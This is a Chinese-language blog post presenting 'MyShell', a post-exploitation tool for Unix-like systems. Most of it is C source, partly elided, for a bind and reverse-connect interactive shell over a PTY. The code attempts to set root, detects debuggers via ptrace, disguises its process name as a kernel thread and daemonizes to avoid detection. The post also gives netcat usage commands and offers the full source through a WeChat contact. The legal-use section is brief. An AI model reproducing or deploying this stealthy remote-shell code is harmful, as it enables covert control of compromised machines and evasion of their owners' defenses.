后开发攻击中的轻量级交互式Shell实现(C/C++代码实现)

一、引言

在网络安全和渗透测试领域,后开发(Post-Exploitation)阶段是攻击者在成功入侵目标系统后,进行进一步渗透、数据收集和持久化操作的关键时期。为了实现与目标系统的交互,攻击者通常会使用各种Shell工具。MyShell是一个专为后开发设计的轻量级交互式Shell,它结合了绑定(Bind)和反向连接(Backconnect)的功能,同时具备多种增强特性,如进程伪装、小体积和抗调试能力等。本文将深入分析MyShell的实现原理、关键特性以及其在后开发中的应用价值。

二、概述

MyShell是一个用C语言编写的后开发Shell工具,它能够在Unix-like系统上运行。其核心目标是为攻击者提供一个轻量级、交互性强且难以被检测的Shell环境,以便在后开发阶段更高效地进行操作。MyShell的实现基于绑定和反向连接两种模式,攻击者可以根据目标系统的网络环境灵活选择使用。

1. 功能特性

绑定和反向连接Shell:MyShell同时支持绑定Shell和反向连接Shell。绑定Shell模式下,攻击者在本地监听一个端口,目标系统连接到该端口;反向连接Shell模式下,目标系统主动连接到攻击者的指定IP和端口。这种双模式设计使得MyShell在面对不同网络限制时都能正常工作。
交互式TTY环境:通过创建伪终端(PTY),MyShell为攻击者提供了一个交互式TTY环境,类似于通过SSH连接到目标系统。攻击者可以像在本地终端一样操作目标系统,使用各种命令和工具。
小体积Stub:MyShell的Stub(即执行代码部分)大小约为14KB,体积小巧,便于通过各种攻击手段传递到目标系统。
进程伪装:MyShell通过修改进程名称和参数,将自身伪装成一个合法程序,降低了被检测的风险。
抗调试能力:MyShell具备抗调试功能,如果检测到ptrace调试器附加到Shell上,它会立即退出,防止攻击者被调试分析。
自动守护进程化:运行后,MyShell会自动切换到守护进程模式,脱离控制终端运行,避免被轻易发现。

2. 使用场景

后开发阶段的数据收集:攻击者可以使用MyShell在目标系统上执行各种命令,收集系统信息、用户数据和敏感文件等。
持久化操作:通过MyShell,攻击者可以在目标系统上设置后门、创建计划任务或修改配置文件,以实现长期控制。
横向移动:攻击者可以利用MyShell在目标网络内进行横向移动,访问其他系统和资源。

三、后开发攻击中的轻量级交互式Shell实现(C/C++代码实现) 代码分析

...
void try_root(void) {
    setuid(0);
    setreuid(0, 0);
}

int create_conn(char* ip, int port)
{
    int s0 = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in serv_info = { 0 };
    serv_info.sin_family = AF_INET;
    serv_info.sin_port = htons(port);
    serv_info.sin_addr.s_addr = inet_addr(ip);

    return (connect(s0, (struct sockaddr*)&serv_info, sizeof(serv_info)) == 0 ? s0 : -1);
}

int return_conn(int port) 
{
...
    if (bind(s0, (struct sockaddr*)&serv_info, sizeof(serv_info)) == 0) {
        listen(s0, 0); 
        int s1 = accept(s0, (struct sockaddr*)NULL, NULL);
        close(s0);
        return s1;
    }
    else {
        #ifdef _DEBUG
            perror("bind");
        #endif
        return -1;
    }
}

bool is_alive(int s1)
{
    return (send(s1, "\0", 1, 0) == 1 ? true : false);
}

bool open_pty(int* master, int* slave)
{
    return ((openpty(master, slave, NULL, NULL, NULL) == 0) ? true : false);
}

bool cleanup_tty(int socket, int master)
{
    write(master, "exit\r\n", 5);
    close(master);
    close(socket);
    return true;
}

bool open_term(int s0)
{
    fd_set comm = { 0 };
    int master=0, slave=0, pid=0; 

    if (open_pty(&master, &slave) && ttyname(slave) != NULL) {
...

        ws.ws_row = 80;
        ws.ws_col = 20;
        ws.ws_xpixel = 0;
        ws.ws_ypixel = 0;

        if (ioctl(master, TIOCSWINSZ, &ws) != 0) { 
            #ifdef _DEBUG
            perror("iotcl");
            #endif
            return false;
        }

        pid = fork();
        if (pid < 0) {
            #ifdef _DEBUG
            perror("fork");
            #endif
            return false;
        }

        if (pid == 0) { // slave
,,,

            dup2(slave, 0);
            dup2(slave, 1);
            dup2(slave, 2);

            if (slave > 2) {
                close(slave);
            }
            execl(SHELL, "-i", NULL);
            return true;
        }
        else { // master
            close(slave);
            write(master, "stty -echo\n", 11); 
            send(s0, banner, strlen(banner), 0);
            usleep(1250000);
            tcflush(master, TCIOFLUSH);
            write(master, "uname -a\n", 9);
            while (1) {
...

                if (select(check_fd + 1, &comm, NULL, NULL, NULL) < 0) {
                    #ifdef _DEBUG
                        perror("select");
                    #endif
                    break;
                }

                if (FD_ISSET(s0, &comm)) { // write command
                    recv(s0, message, sizeof(message), 0);
                    write(master, message, strlen(message));
                    if (strcmp(message, "^C\r\n") == 0 || strcmp(message, "^C\n") == 0) 
                    {
                        char ctrl_c = 0x003;
                        write(master, &ctrl_c, 1); // kill dat hoe
                    }
                    else if (strcmp(message, "exit\r\n") == 0 || strcmp(message, "exit\n") == 0) {
                        char* bye_msg = "Exiting.\r\n";
                        send(s0, bye_msg, strlen(bye_msg), 0);
                        cleanup_tty(s0, master);
                        return true;
                    }
                }

                if (FD_ISSET(master, &comm)) {
                    read(master, message, sizeof(message));
                    send(s0, message, strlen(message), 0);
                }
            }
        }
    }
    return cleanup_tty(s0, master);
}

bool detect_debugging() {
    if(ptrace(PTRACE_TRACEME, 0, 1, 0) < 0){ 
        return true; 
    }
    return false;
}

void cloak_name(int argc, char *argv[]) {
    for(int i=0;i<argc;i++){
      memset(argv[i],'\x0',strlen(argv[i]));
    }
    strcpy(argv[0], FAKE_NAME);
    prctl(PR_SET_NAME, FAKE_NAME); 
}

void handle_sigs(void) {
    signal(SIGPIPE, SIG_IGN);
    signal(SIGCHLD, SIG_IGN); 
}

int main(int argc, char *argv[])
{
    if(!detect_debugging()) {
        if (argc != 2 && argc != 3) {
            printf("Bind Shell Usage: %s port\n", argv[0]);
            printf("Back Connect Usage: %s ip port\n", argv[0]);
        }
        else {
            handle_sigs();
            try_root(); // 尝试将guid/uid设置为0(根)
            if(!daemon(1, 0)) {
                int s1 = 0;
                if (argc == 2) // bindshell -- ./binary port
                {
                    s1 = return_conn(atoi(argv[1]));
                }
                else if (argc == 3) // backconnect -- ./binary ip port
                {
                    s1 = create_conn(argv[1], atoi(argv[2]));
                }
                cloak_name(argc, argv);
                if (s1 > 0 && open_term(s1)) {
                    #ifdef _DEBUG
                    printf("Safely closed connection and terminal.\n");
                    #endif
                    return EXIT_SUCCESS;
                }
            } else {
                #ifdef _DEBUG
                    perror("daemon");
                #endif
            }
        }
    }
    return EXIT_FAILURE;
}

1. 主要函数和模块

(1)main函数

main函数是MyShell的入口点,负责解析命令行参数、初始化环境并根据参数选择相应的Shell模式。
参数解析:根据传入的参数数量判断是绑定Shell模式还是反向连接Shell模式。绑定Shell模式需要一个端口号,反向连接Shell模式需要一个IP地址和端口号。
初始化:调用handle_sigs函数处理信号,忽略SIGPIPE和SIGCHLD信号,避免因网络问题或子进程退出导致程序异常终止;调用try_root函数尝试提升权限到root。
运行模式选择:根据参数选择绑定Shell或反向连接Shell的实现函数,并在成功建立连接后调用open_term函数启动交互式TTY环境。

(2)open_term函数

open_term函数是MyShell的核心部分,负责创建伪终端(PTY),设置终端环境,并启动子进程运行Shell。
创建伪终端:调用openpty函数创建主从两个端点,主端用于与攻击者通信,从端用于子进程的终端。
设置终端环境:通过putenv函数设置环境变量,如PATH、TERM、PS1等,模拟一个正常的终端环境;通过ioctl函数设置终端大小。
启动子进程:使用fork创建子进程,子进程关闭主端,将从端设置为标准输入输出,并通过setsid创建新的会话,避免与父进程关联;子进程通过execl调用指定的Shell(默认为/bin/bash)。

(3)cleanup_tty函数

cleanup_tty函数用于在退出时清理终端资源,发送退出命令给子进程,并关闭主从端。

(4)detect_debugging函数

detect_debugging函数用于检测是否被调试器附加。通过调用ptrace函数尝试设置PTRACE_TRACEME,如果失败则说明被调试器附加,返回true。

(5)cloak_name函数

cloak_name函数用于伪装进程名称和参数。通过memset清空原始参数,然后将进程名称和参数设置为伪装的名称(如[bioset])。

(6)is_alive和return_conn函数

is_alive函数用于检测连接是否有效,通过向连接发送一个空字符并检查返回值。
return_conn函数用于绑定Shell模式下创建监听端口并接受连接。

(7)create_conn函数

create_conn函数用于反向连接Shell模式下创建到攻击者指定IP和端口的连接。

2. 关键技术点

(1)伪终端(PTY)的使用

伪终端是MyShell实现交互式TTY环境的关键。通过openpty函数创建主从两个端点,主端用于与攻击者通信,从端用于子进程的终端。通过设置终端大小、环境变量等,模拟一个正常的终端环境,使攻击者能够像在本地终端一样操作目标系统。

(2)进程伪装

MyShell通过prctl函数设置进程名称,通过memset清空原始参数,然后将参数设置为伪装的名称。这种伪装可以降低被检测的风险,使攻击者更难以被发现。

(3)抗调试技术

MyShell通过调用ptrace函数尝试设置PTRACE_TRACEME,如果失败则说明被调试器附加。这种抗调试技术可以防止攻击者被调试分析,保护MyShell的运行环境。

(4)信号处理

通过signal函数处理SIGPIPE和SIGCHLD信号,避免因网络问题或子进程退出导致程序异常终止。这种信号处理机制可以提高MyShell的稳定性和可靠性。

3.示例用法

反向连接:

$ ./MyShell 127.0.0.1 13344

绑定外壳:

$ ./MyShell 13344

接收反向连接:

$ nc -vlp port

连接到绑定Shell:

$ nc host port

If you need the complete source code, please add the WeChat number (c17865354792)

四、MyShell的应用与风险

1. 合法应用

在网络安全领域,MyShell可以作为一种后开发工具,用于合法的渗透测试和安全评估。攻击者(在合法授权范围内)可以使用MyShell在目标系统上执行各种命令,收集系统信息、检测安全漏洞等。

2. 风险与危害

然而,MyShell也具有一定的风险和危害。如果被恶意攻击者使用,它可能会被用于非法入侵、数据窃取、系统破坏等行为,对目标系统的安全和稳定性造成严重威胁。因此,目标系统需要采取有效的安全措施,如防火墙、入侵检测系统、日志审计等,以防范MyShell等后开发工具的攻击。

五、结论

MyShell是一个功能强大的后开发Shell工具,它通过结合绑定和反向连接Shell模式、创建交互式TTY环境、实现进程伪装和抗调试等特性,为攻击者提供了一个轻量级、交互性强且难以被检测的Shell环境。虽然它在合法的渗透测试和安全评估中具有一定的应用价值,但同时也需要警惕其被恶意攻击者滥用的风险。目标系统需要采取综合的安全措施,以防范MyShell等后开发工具的攻击,保障系统的安全和稳定。

Welcome to follow WeChat official account【程序猿编码

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值